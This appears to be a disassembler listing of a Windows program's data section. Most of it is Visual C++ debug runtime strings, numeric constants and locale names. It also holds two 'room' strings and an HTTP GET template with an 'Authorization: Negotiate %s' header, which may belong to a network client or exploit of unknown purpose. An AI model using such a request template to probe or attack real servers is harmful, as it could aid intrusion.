dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aRoom db 'room',0 ; DATA XREF: sub_401CC1+2EC9o
; sub_401CC1+2FA8o ...
align 4
aRoom_0 db 'room',0 ; DATA XREF: sub_401CC1+32D8o
; sub_401CC1+3318o ...
align 4
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40CAE9+68o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dbl_437468 dq 1.388888888888889e-2 ; DATA XREF: sub_40C926+2Fr
dbl_437470 dq 1.666666666666667e-1 ; DATA XREF: sub_40C926+15r
dbl_437478 dq 1.333333333333333 ; DATA XREF: sub_40C972+70r
dword_437480 dd 0FFFFFFFFh ; DATA XREF: sub_40CD90+13r
; sub_40CE0Dr ...
dword_437484 dd 0 ; DATA XREF: sub_40D0F4o
flt_437488 dd 5.0e-1 ; DATA XREF: sub_40D46C+39Br
align 10h
dbl_437490 dq 9.765625e-4 ; DATA XREF: sub_414A1D+2BDr
; sub_414A1D+2D8r ...
dbl_437498 dq -1.52587890625e-4 ; DATA XREF: sub_4156B7+3E5r
dbl_4374A0 dq 3.0517578125e-4 ; DATA XREF: sub_4156B7+3C5r
dbl_4374A8 dq -3.0517578125e-4 ; DATA XREF: sub_4156B7+342r
; sub_4156B7+3A7r
dbl_4374B0 dq 1.52587890625e-4 ; DATA XREF: sub_4156B7+271r
dbl_4374B8 dq -1.739501953125e-3 ; DATA XREF: sub_4156B7+24Br
; sub_4156B7+2D5r ...
dbl_4374C0 dq 3.11279296875e-3 ; DATA XREF: sub_4156B7+E1r
dbl_4374C8 dq 3.0517578125e-5 ; DATA XREF: sub_4156B7+AEr
; sub_4156B7+138r ...
dbl_4374D0 dq 6.103515625e-5 ; DATA XREF: sub_4156B7+93r
; sub_4156B7+308r
dbl_4374D8 dq 2.288818359375e-3 ; DATA XREF: sub_4156B7+21r
dbl_4374E0 dq -3.0517578125e-5 ; DATA XREF: sub_4165B5+2Br
flt_4374E8 dd 9.765625e-4 ; DATA XREF: sub_418406+1AEr
flt_4374EC dd 8.0 ; DATA XREF: sub_418406+1A8r
flt_4374F0 dd 0.0 ; DATA XREF: sub_418406+16Fr
flt_4374F4 dd 1.0e-3 ; DATA XREF: sub_418406+166r
dword_4374F8 dd 6F6C6366h, 632E6573h, 0 ; DATA XREF: sub_418D80+1Do
; sub_418E10+25o
dword_437504 dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_418D80+14o
; sub_41DCC0+Do ...
dword_437514 dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
; DATA XREF: sub_418E10+1Co
; sub_41BC90+45o ...
dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree db 'Free',0 ; DATA XREF: .nsp0:off_4510D0o
align 4
aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0
; DATA XREF: sub_418FC0:loc_41912Ao
; sub_4193C0:loc_419540o
align 4
aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_418FC0+11Bo
aS_25 db '%s',0 ; DATA XREF: sub_418FC0+BCo
; sub_418FC0+16Fo ...
align 10h
aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0
; DATA XREF: sub_418FC0:loc_419077o
align 4
aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_418FC0+94o
align 4
aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_418FC0+31o
; sub_4193C0+77o ...
align 4
a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_418FC0+25o
; sub_4193C0+6Bo ...
align 4
a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_4193C0+499o
align 4
a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_4193C0+445o
align 4
aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
; DATA XREF: sub_4193C0:loc_4197A6o
align 4
a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
; DATA XREF: sub_4193C0+277o
align 4
aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
; DATA XREF: sub_4193C0:loc_4195D1o
db 'REQ',0
align 4
a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_4193C0+1B6o
; sub_4199B0+A8o ...
align 10h
aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0
; DATA XREF: sub_4193C0+136o
align 10h
aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0
; DATA XREF: sub_4193C0:loc_4194BFo
aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_4193C0+DCo
a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_4199B0+35Do
align 4
a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_4199B0+307o
align 4
aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_4199B0+29Co
; sub_419DC0+112o
align 4
aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
; DATA XREF: sub_4199B0:loc_419BD4o
align 4
aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_4199B0+1E5o
; sub_41A090+249o
align 4
aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_4199B0+17Fo
; sub_41A090+1ECo
align 4
a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_4199B0+10Ao
; sub_419DC0+C1o ...
align 4
aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_4199B0:loc_419A1Do
align 4
aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
; DATA XREF: sub_41A000+54o
align 4
aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0
; DATA XREF: sub_41A090+31Eo
align 10h
aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41A090+2EBo
aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
; DATA XREF: sub_41A090+2A2o
align 4
aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41A090:loc_41A248o
a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0
; DATA XREF: sub_41A090:loc_41A1A2o
align 10h
a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0
; DATA XREF: sub_41A090:loc_41A17Ao
align 4
a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0
; DATA XREF: sub_41A090:loc_41A152o
align 4
a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0
; DATA XREF: sub_41A090:loc_41A12Ao
align 4
a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
; DATA XREF: sub_41A090:loc_41A0FFo
aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41A690+11Bo
align 4
a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
; DATA XREF: sub_41A690:loc_41A69Fo
a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0
; DATA XREF: .nsp0:loc_41A822o
aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41A930:loc_41ABBCo
align 4
aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_41A930+250o
align 10h
aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0
; DATA XREF: sub_41A930+1F3o
aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_41A930+188o
aLd db '{%ld} ',0 ; DATA XREF: sub_41A930+139o
align 4
aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_41A930+111o
align 10h
aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_41A930+E0o
aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41A930:loc_41A94Ao
aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41ABF0+ECo
a_2x db '%.2X ',0 ; DATA XREF: sub_41ABF0+BFo
align 10h
aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_41AD10:loc_41AD44o
aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .nsp0:0041AE2Do
align 4
aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .nsp0:0041AE05o
align 4
aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .nsp0:0041ADDBo
align 4
aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41B070+95o
align 10h
aModeNull db 'mode != NULL',0 ; DATA XREF: sub_41B070+67o
; sub_4225E0+4Fo
align 10h
aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41B070+3Do
align 4
aFopen_c db 'fopen.c',0 ; DATA XREF: sub_41B070+18o
; sub_41B070+46o ...
aFileNull db 'file != NULL',0 ; DATA XREF: sub_41B070+Fo
align 4
aFormatNull db 'format != NULL',0 ; DATA XREF: sub_41B740+45o
; sub_41B910+45o ...
align 4
aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_41B740+24o
; sub_41B740+4Eo ...
align 4
aStringNull db 'string != NULL',0 ; DATA XREF: sub_41B740+1Bo
; sub_41B910+1Bo ...
align 4
aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41BC90+24o
; sub_41BC90+4Eo
aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41C1C0+1Eo
; sub_41C1C0+48o
align 4
aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_41C6A0+1Eo
; sub_41C6A0+48o
align 4
aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_41CC10+24o
; sub_41CC10+4Eo
align 8
dbl_437CF8 dq 1.0 ; DATA XREF: sub_41CCD0+99r
; sub_41CEF0+99r ...
dword_437D00 dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_41D860+62o
dword_437D0C dd 78656E6Fh, 632E7469h, 0 ; DATA XREF: sub_41D930+2Eo
; sub_41DA10+8o
dword_437D18 dd 65657366h, 632E6Bh ; DATA XREF: sub_41DCC0+16o
; sub_41DD30+19o
dword_437D20 dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_41E7D0+32o
dword_437D2C dd 3D212073h, 4C554E20h, 4Ch ; DATA XREF: sub_41E7D0+29o
dword_437D38 dd 0FFFFFFFFh, 41EAF2h, 41EB0Dh ; DATA XREF: .nsp0:0041E9C5o
dword_437D44 dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh
; DATA XREF: sub_41EB90+31o
; sub_41EB90+65o ...
dd 64656C69h, 0
aError db 'Error',0 ; DATA XREF: .nsp0:004513C8o
align 4
aWarning db 'Warning',0 ; DATA XREF: .nsp0:off_4513C4o
aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_41EED0+1FFo
asc_437D7C: ; DATA XREF: sub_41EED0:loc_41F0A6o
dw 0Ah
unicode 0, <>,0
asc_437D80: ; DATA XREF: sub_41EED0+1C2o
dw 0Dh
unicode 0, <>,0
aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41EED0:loc_41F045o
align 4
aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41EED0+169o
align 4
a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0
; DATA XREF: sub_41EED0+149o
; sub_41EED0+21Co ...
align 4
aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
; DATA XREF: sub_41EED0+E6o
align 4
aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41EED0+B6o
align 4
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41EED0+9Co
; sub_42B680+16o
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41F260+2C2o
align 4
aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41F260+28Co
db 0Ah
db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
db 0Ah
db '(Press Retry to debug the application)',0
align 4
aModule db 0Ah ; DATA XREF: sub_41F260+221o
db 'Module: ',0
align 4
aFile db 0Ah ; DATA XREF: sub_41F260+1E1o
db 'File: ',0
aLine db 0Ah ; DATA XREF: sub_41F260+1AAo
db 'Line: ',0
asc_437EB8 db 0Ah ; DATA XREF: sub_41F260+173o
; sub_42AB10+171o
db 0Ah,0
align 4
aExpression db 'Expression: ',0 ; DATA XREF: sub_41F260+153o
align 4
dword_437ECC dd 0 ; DATA XREF: sub_41F260:loc_41F37Ao
; sub_41F260:loc_41F399o ...
aForInformation db 0Ah ; DATA XREF: sub_41F260+10Eo
db 0Ah
db 'For information on how your program can cause an assertion',0Ah
db 'failure, see the Visual C++ documentation on asserts.',0
align 4
a___ db '...',0 ; DATA XREF: sub_41F260+9Co
; sub_41F260+F4o ...
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F260+56o
; sub_42AB10+EDo
align 10h
aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41F260+1Fo
align 4
aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41F260+13o
align 4
a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_41F6A0+15o
align 10h
aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41FB40+16o
a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_421F10+18o
align 4
a_open_c db '_open.c',0 ; DATA XREF: sub_4225E0+2Eo
; sub_4225E0+58o ...
aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_4225E0+25o
align 10h
aStream_c db 'stream.c',0 ; DATA XREF: sub_422970+C1o
align 4
aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
; DATA XREF: sub_422AF0+162o
align 4
a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_422AF0+18o
; sub_422AF0+16Eo
align 4
byte_438018 db 6 ; DATA XREF: sub_422D70+8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .nsp0:off_4516B8o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_4516B4o
align 4
aOutput_c db 'output.c',0 ; DATA XREF: sub_422D70+122o
align 4
aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_422D70+116o
align 4
aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_423C10+23o
; sub_423CF0+29o
align 4
a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_424AA0+18o
; sub_424AA0+B2o ...
align 10h
aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_424C00+13o
align 4
aInput_c db 'input.c',0 ; DATA XREF: sub_424CA0+1Eo
; sub_424CA0+4Bo
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .nsp0:off_451934o
align 8
dbl_438198 dq 0.0 ; DATA XREF: sub_4268F0+D7r
; sub_4268F0+11Ar ...
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_427240+1Ao
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_427240+6o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_427520:loc_427598o
align 10h
dword_4381D0 dd 0FFFFFFFFh, 427FC9h, 427FD6h, 0 ; DATA XREF: sub_427F30+5o
dword_4381E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_428120+5o
dd offset sub_4281FD
align 10h
dd offset loc_4281BE
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 81h, 42h, 0
dword_4381F8 dd 0FFFFFFFFh, 42851Ch, 428522h, 0 ; DATA XREF: sub_4282C0+5o
dword_438208 dd 0FFFFFFFFh, 42859Eh, 4285ADh, 0 ; DATA XREF: sub_428540+5o
dword_438218 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_428670+5o
dd offset sub_4286DE
align 8
dd offset loc_4286C0
dd offset loc_4286C6
dword_438230 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_428720+5o
dd offset sub_42878A
align 10h
dd offset loc_42876C
dd offset loc_428772
aLc_time db 'LC_TIME',0 ; DATA XREF: .nsp0:00451BBCo
aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: .nsp0:00451BB0o
align 4
aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: .nsp0:00451BA4o
aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: .nsp0:00451B98o
align 4
aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .nsp0:00451B8Co
align 10h
aLc_all db 'LC_ALL',0 ; DATA XREF: .nsp0:off_451B80o
align 4
asc_438288: ; DATA XREF: .nsp0:loc_428A53o
; sub_428E30+83o
unicode 0, <;>,0
asc_43828C db '=;',0 ; DATA XREF: .nsp0:loc_428981o
align 10h
aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_428C90+3Eo
; sub_428E30+1Bo
align 4
asc_43829C: ; DATA XREF: sub_428E30+5Bo
unicode 0, <=>,0
a___0 db '_.,',0 ; DATA XREF: sub_429120:loc_429192o
a__3: ; DATA XREF: sub_429280+50o
; sub_42F1E0:loc_42F3DBo
unicode 0, <.>,0
a__4: ; DATA XREF: sub_429280+25o
unicode 0, <_>,0
aFtell_c db 'ftell.c',0 ; DATA XREF: .nsp0:00429456o
; sub_4294B0+18o
dword_4382B4 dd 0 ; DATA XREF: sub_429750+5Do
; sub_42C100+58o ...
dword_4382B8 dd 2 dup(0) ; DATA XREF: sub_429750+35o
; sub_42C100+35o ...
dword_4382C0 dd 0FFFFFFFFh, 429896h, 42989Ch, 0FFFFFFFFh, 42998Ch, 429992h
; DATA XREF: sub_429750+5o
dword_4382D8 dd 65647473h, 2E70766Eh, 63h ; DATA XREF: sub_429D90+5Bo
; sub_429D90+D0o
dword_4382E4 dd 61647473h, 2E766772h, 63h ; DATA XREF: sub_429EE0+72o
dword_4382F0 dd 6E655F61h, 632E76h ; DATA XREF: sub_42A3F0+E8o
; sub_42A3F0+1C6o
dword_4382F8 dd 6E696F69h, 632E7469h, 0 ; DATA XREF: sub_42A610+Bo
; sub_42A610+106o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
dd 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_451C7Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42AB10+1A4o
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_42AB10:loc_42AC5Ao
db 0Ah
db 'Program: ',0
align 4
aWinsig_c db 'winsig.c',0 ; DATA XREF: .nsp0:0042B231o
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42B680+5Fo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42B680:loc_42B6CBo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42B680+2Ao
aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_42B740+138o
align 10h
dword_438620 dd 0FFFFFFFFh, 42C244h, 42C24Ah ; DATA XREF: sub_42C100+5o
dword_43862C dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_42C2C0+16o
; sub_42C2C0+48o
dword_438638 dd 6F74626Dh, 632E6377h, 0 ; DATA XREF: sub_42CB10+21o
aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42CB10+18o
align 4
aUngetc_c db 'ungetc.c',0 ; DATA XREF: .nsp0:0042CCA6o
; sub_42CD00+16o
align 4
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTzset_c db 'tzset.c',0 ; DATA XREF: sub_42DF80+1D1o
aTz db 'TZ',0 ; DATA XREF: sub_42DF80+35o
align 10h
aInittime_c db 'inittime.c',0 ; DATA XREF: sub_42E860+13o
align 4
aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42F1E0+1CFo
; sub_42F1E0+215o ...
align 4
aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_42F510+13o
align 4
aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_42F970+52o
; sub_42F970+6Bo ...
align 10h
aParaguay db 'Paraguay',0
align 4
aUruguay db 'Uruguay',0
aChile db 'Chile',0 ; DATA XREF: .nsp0:004522A4o
align 4
aEcuador db 'Ecuador',0 ; DATA XREF: .nsp0:00452278o
aArgentina db 'Argentina',0
align 10h
aPeru db 'Peru',0
align 4
aColombia db 'Colombia',0 ; DATA XREF: .nsp0:004521F4o
align 4
aVenezuela db 'Venezuela',0
align 10h
aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .nsp0:0045219Co
align 4
aSouthAfrica db 'South Africa',0
align 4
aPanama db 'Panama',0 ; DATA XREF: .nsp0:00452144o
align 4
aLuxembourg db 'Luxembourg',0 ; DATA XREF: .nsp0:00452118o
align 4
aCostaRica db 'Costa Rica',0 ; DATA XREF: .nsp0:004520ECo
align 4
aSwitzerland db 'Switzerland',0
aGuatemala db 'Guatemala',0 ; DATA XREF: .nsp0:00452094o
align 4
aCanada db 'Canada',0 ; DATA XREF: .nsp0:00452068o
align 4
aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .nsp0:00452034o
align 4
aAustralia db 'Australia',0 ; DATA XREF: .nsp0:00452010o
align 4
aEnglish db 'English',0 ; DATA XREF: .nsp0:00452008o
; .nsp0:00452168o
aAustria db 'Austria',0 ; DATA XREF: .nsp0:00451FE4o
aGerman db 'German',0 ; DATA XREF: .nsp0:00451FDCo
align 10h
aBelgium db 'Belgium',0 ; DATA XREF: .nsp0:00451FB8o
aMexico db 'Mexico',0 ; DATA XREF: .nsp0:00451F8Co
align 10h
aSpanish db 'Spanish',0 ; DATA XREF: .nsp0:00451F84o
; .nsp0:0045208Co ...
aBasque db 'Basque',0 ; DATA XREF: .nsp0:00451F58o
align 10h
aSweden db 'Sweden',0 ; DATA XREF: .nsp0:00451F34o
align 4
aSwedish db 'Swedish',0 ; DATA XREF: .nsp0:00451F2Co
aIceland db 'Iceland',0 ; DATA XREF: .nsp0:00451F08o
aIcelandic db 'Icelandic',0 ; DATA XREF: .nsp0:00451F00o
align 4
aFrance db 'France',0 ; DATA XREF: .nsp0:00451EDCo
align 4
aFrench db 'French',0 ; DATA XREF: .nsp0:00451ED4o
; .nsp0:00451FB0o ...
align 4
aFinland db 'Finland',0 ; DATA XREF: .nsp0:00451EB0o
aFinnish db 'Finnish',0 ; DATA XREF: .nsp0:00451EA8o
aSpain db 'Spain',0 ; DATA XREF: .nsp0:off_451E84o
; .nsp0:00451F60o ...
align 4
aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .nsp0:off_451E7Co
align 4
aUnitedStates db 'united-states',0
align 4
aUnitedKingdom db 'united-kingdom',0
align 4
aTrinidadTobago db 'trinidad & tobago',0
align 4
aSouthKorea db 'south-korea',0
aSouthAfrica_0 db 'south-africa',0
align 4
aSouthKorea_0 db 'south korea',0
aSouthAfrica_1 db 'south africa',0
align 4
aSlovak db 'slovak',0
align 4
aPuertoRico db 'puerto-rico',0
aPrChina db 'pr-china',0
align 4
aPrChina_0 db 'pr china',0
align 10h
aNz db 'nz',0
align 4
aNewZealand db 'new-zealand',0
aHongKong db 'hong-kong',0
align 4
aHolland db 'holland',0
aGreatBritain db 'great britain',0
align 4
aEngland db 'england',0
aCzech db 'czech',0
align 4
aChina db 'china',0
align 4
aBritain db 'britain',0 ; DATA XREF: .nsp0:00452330o
aAmerica db 'america',0 ; DATA XREF: .nsp0:off_452328o
aUsa_0 db 'usa',0
aUs db 'us',0
align 4
aUk db 'uk',0
align 4
aSwiss db 'swiss',0
align 10h
aSwedishFinland db 'swedish-finland',0
aSpanishVenezue db 'spanish-venezuela',0
align 4
aSpanishUruguay db 'spanish-uruguay',0
aSpanishPuertoR db 'spanish-puerto rico',0
aSpanishPeru db 'spanish-peru',0
align 4
aSpanishParagua db 'spanish-paraguay',0
align 4
aSpanishPanama db 'spanish-panama',0
align 4
aSpanishNicarag db 'spanish-nicaragua',0
align 10h
aSpanishModern db 'spanish-modern',0
align 10h
aSpanishMexican db 'spanish-mexican',0
aSpanishHondura db 'spanish-honduras',0
align 4
aSpanishGuatema db 'spanish-guatemala',0
align 4
aSpanishElSalva db 'spanish-el salvador',0
aSpanishEcuador db 'spanish-ecuador',0
aSpanishDominic db 'spanish-dominican republic',0
align 4
aSpanishCostaRi db 'spanish-costa rica',0
align 4
